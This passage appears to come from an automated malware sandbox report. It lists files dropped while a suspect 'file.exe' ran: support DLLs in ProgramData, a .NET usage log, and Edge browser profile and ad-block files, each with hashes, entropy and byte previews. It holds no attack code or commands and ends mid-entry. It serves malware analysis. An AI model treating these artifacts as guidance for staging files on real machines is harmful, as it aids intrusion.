C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\b39ed05e31.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\0713d449-b3ae-4b40-b047-d484943a7ff8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45846
Entropy (8bit):	6.0880662888872
Encrypted:	false
SSDEEP:	768:zMkbJrT8IeQcrQgo9wd/uphDO6vP6OJAKgT0QZPIYsvFuQFrqtECAoCGoup1Xl3w:zMk1rT8HI9wt6pAP8/RoChu3VlXr4h
MD5:	61AE7CB9B27B3C2B2E8C3A9FBE141B24
SHA1:	9FD5ACAC98A54C2DCD213E4B24B8B949B79F34A4
SHA-256:	DA8D1AEC99811CC0BB30ACC80B313012E39E36B6AAB177CCADB589C938B75742
SHA-512:	59959CCF7EB70698E27B865E1E82B0C694BDCC77D50CD72C7E12379060E4793E5866D7226A83150C3491A949CD391C2004398A8CB83F3C00D5D6EB9E615AC333
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731781343"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\11afc8ef-e27f-4a51-bddf-a01b1c4a2865.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45769
Entropy (8bit):	6.088138392868554
Encrypted:	false
SSDEEP:	768:zMkbJrT8IeQcrQgx9wd/uphDO6vP6OJAKg70QZPIYsvFuQFrqtECAoCGoup1Xl3w:zMk1rT8HR9wt6pAP0/RoChu3VlXr4h
MD5:	3B6CF8C003E5FF30D358798C11685DE8
SHA1:	0DE18E022CC8C2E1C30D6E5CEEF1A508241AE8DF
SHA-256:	4B6969F47D2EE29F7A38B46AEB8C8205276BF36D81AF99C32B6AF817EB083FB2
SHA-512:	277AAC9373DD7EDA1AAB7DF2FDCC7E34B4B970FE50F1D1CC4B7AD1C82DD3FF76103D8D40E71D78BAACB6D9B0535A671007C711B8C71D9FF70F8DDFA1FF884F45
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731781343"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\4210b06b-e6d5-4dec-ab2d-c275bc2997bf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44686
Entropy (8bit):	6.09588562806981
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xkB2wu8hDO6vP6OJAKg70QZPIYsvFuQcGoup1Xl3jVu:z/Ps+wsI7yOE+6pAP0chu3VlXr4CRo1
MD5:	EB8219F0DB0188A64AC45413CE5A3348
SHA1:	553DB992F405EEBB0402AD4AF6427AC6306AD2D8
SHA-256:	89A23B109D27F92C989DF17FEA4BFB4D5152096F00AA6C04751DAF9FC4E8C587
SHA-512:	B9C3207BEBAD23845D81D5F5B5D072F3BCAD4346B41F866B61FEC2825CCABEB524CB306F696292DA6F2959874403343DAC5E6210CEC468FB4BDABBC5611C0B0C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\7251bbd1-25ea-44a2-ae63-27bdfd0c993b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090791420373575
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMWwuF9hDO6vP6O+Ptbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEI6Gtbz8hu3VlXr4CRo1
MD5:	CCD8A243647CA27DC67D53710B9D1A94
SHA1:	CBD9B4D4537DF494FBBC09DB0A0C7532947B6F04
SHA-256:	C203644A38D222857213F2B7C8ABC785AB82D1930EAEB22D48E13FFF209EC9F1
SHA-512:	176C87F9CDAE4EDE2A8F7D3FAF071099017BD5DD67A02260A6C3E9FBF48323A628BFB8AB664077DC3EEA3F42F639DFB8C369730ECFAA4E13D7786568CCBB2714
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\9c0478df-2c20-4d53-9176-4604f9ad1d7a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45846
Entropy (8bit):	6.088069108235148
Encrypted:	false
SSDEEP:	768:zMkbJrT8IeQcrQgoowd/uphDO6vP6OJAKgT0QZPIYsvFuQFrqtECAoCGoup1Xl3w:zMk1rT8HIowt6pAP8/RoChu3VlXr4h
MD5:	5F8C404FD4B8EB7424833EB7A7433E66
SHA1:	2B5CA1710A4608D87170AAC84FFD3967AD4548F9
SHA-256:	8C1A2682E9D17B91F501C5B0E4994A1B604AE595C057E2628383993C1606AB4E
SHA-512:	FC4B7A9EC5669A11D4562DC50572EA5244CF4A976B61B17B1970BDD562A117E4E0307219864874ABCBC65C544FA17F4DED4B5C855A74888F4D4100B42722AD11
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731781343"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640139822627159
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7o:fwUQC5VwBIiElEd2K57P7o
MD5:	3F661497580210A9A5B194DBDE387CBD
SHA1:	AC5DA82539FDF967C0D29284446BBF33C1023DE3
SHA-256:	8615001DB8EA389D4FF271071160DD5F17A56A2FF6412C3D0A77531FBA8234C1
SHA-512:	8B7CE599B9C5A232BBB45152B5FE7850C2A7161EE914B04A63EDB0EF313D6C5A53962614F664908518B630D97F84C0EA5FED4CC0404D10EF9E5B6D58AB037437
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\f7029039-9a9d-493f-895c-1e8d88c0e238.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640139822627159
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7o:fwUQC5VwBIiElEd2K57P7o
MD5:	3F661497580210A9A5B194DBDE387CBD
SHA1:	AC5DA82539FDF967C0D29284446BBF33C1023DE3
SHA-256:	8615001DB8EA389D4FF271071160DD5F17A56A2FF6412C3D0A77531FBA8234C1
SHA-512:	8B7CE599B9C5A232BBB45152B5FE7850C2A7161EE914B04A63EDB0EF313D6C5A53962614F664908518B630D97F84C0EA5FED4CC0404D10EF9E5B6D58AB037437
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.132041621771752
Encrypted:	false
SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD5x1:o1ApdeaEqYsMazlYBVsJDu2ziy5
MD5:	845CFA59D6B52BD2E8C24AC83A335C66
SHA1:	6882BB1CE71EB14CEF73413EFC591ACF84C63C75
SHA-256:	29645C274865D963D30413284B36CC13D7472E3CD2250152DEE468EC9DA3586F
SHA-512:	8E0E7E8CCDC8340F68DB31F519E1006FA7B99593A0C1A2425571DAF71807FBBD4527A211030162C9CE9E0584C8C418B5346C2888BEDC43950BF651FD1D40575E
Malicious:	false
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\0c48888d-b2de-4c6a-a938-b426823b18c2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38627
Entropy (8bit):	5.5549801437113535
Encrypted:	false
SSDEEP:	768:Jsyx1T7pLGLp3RWPsefGa8F1+UoAYDCx9Tuqh0VfUC9xbog/OV7h9mBrwCdMvIqt:Jsyx1Fcp3RWPsefGau1jaGbmyCdMvheS
MD5:	B3C4B23F41A1701C5A5DDCD7F7495BA4
SHA1:	E654ABF1053F51A14388FF8A60EBD5398E527EF2
SHA-256:	07C7CA5DCC1EAA4F92537B9945BA364B12D18E6FFF4A74E604AA377D9E929119
SHA-512:	CD4C25AD6A5E6D24A4024DD3A415004D22DED655A481047926C72777DEC00E824AB25450DB5950CC429BA305C59EAD94C6A7E831C8F8C8B64652E41657012E71
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376254938691638","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376254938691638","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\15fe0464-39b3-4977-ae17-44b46b885c09.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\2a5c0122-04e2-4fe3-bbcb-d15d1c907bb1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40470
Entropy (8bit):	5.561444333148326
Encrypted:	false
SSDEEP:	768:Jsyx1T7pLGLp3RWPsefGa8F1+UoAYDCx9Tuqh0VfUC9xbog/OVaGCh9mBrwCdMvz:Jsyx1Fcp3RWPsefGau1ja3GCbmyCdMvz
MD5:	43A3B64751FD058AF0BA250FCD3E7813
SHA1:	9136E6B478A260EE5159CDA958E27ABC852E514B
SHA-256:	43D375C411F7ADD37D64D7447454446E1CFF74A97C689923672E6F5606823EB1
SHA-512:	1BF1A5112ECCBE58A5B61D9B20B891D413CC5E94E0C0708B5352DF6A1CD4C888D22B3FEACD94135755EC3F01E7E329EB1C6E33CBB97ACEB08858F5A73553B35D
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376254938691638","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376254938691638","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\2fb4f5b6-a93f-45ec-a3c1-3be002f6cbd7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\7a044611-625b-48cb-9273-efdb69bb60b3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (17326), with no line terminators
Category:	dropped
Size (bytes):	17326
Entropy (8bit):	5.478122942261238
Encrypted:	false
SSDEEP:	384:st6PGKSu4Hs/YfhduHsM7+43bGIQwm6WFaTYf:skOxuXYfKPbGXxRaTYf
MD5:	1BABF22804A7ABA6ECAE670D9D126E8D
SHA1:	B731BABE218FEC85E0E591898F94C656F7F77901
SHA-256:	4CA8849DD4A479687259D7FB0E75758F0C05C506250495793B270DB26AD3E8B4
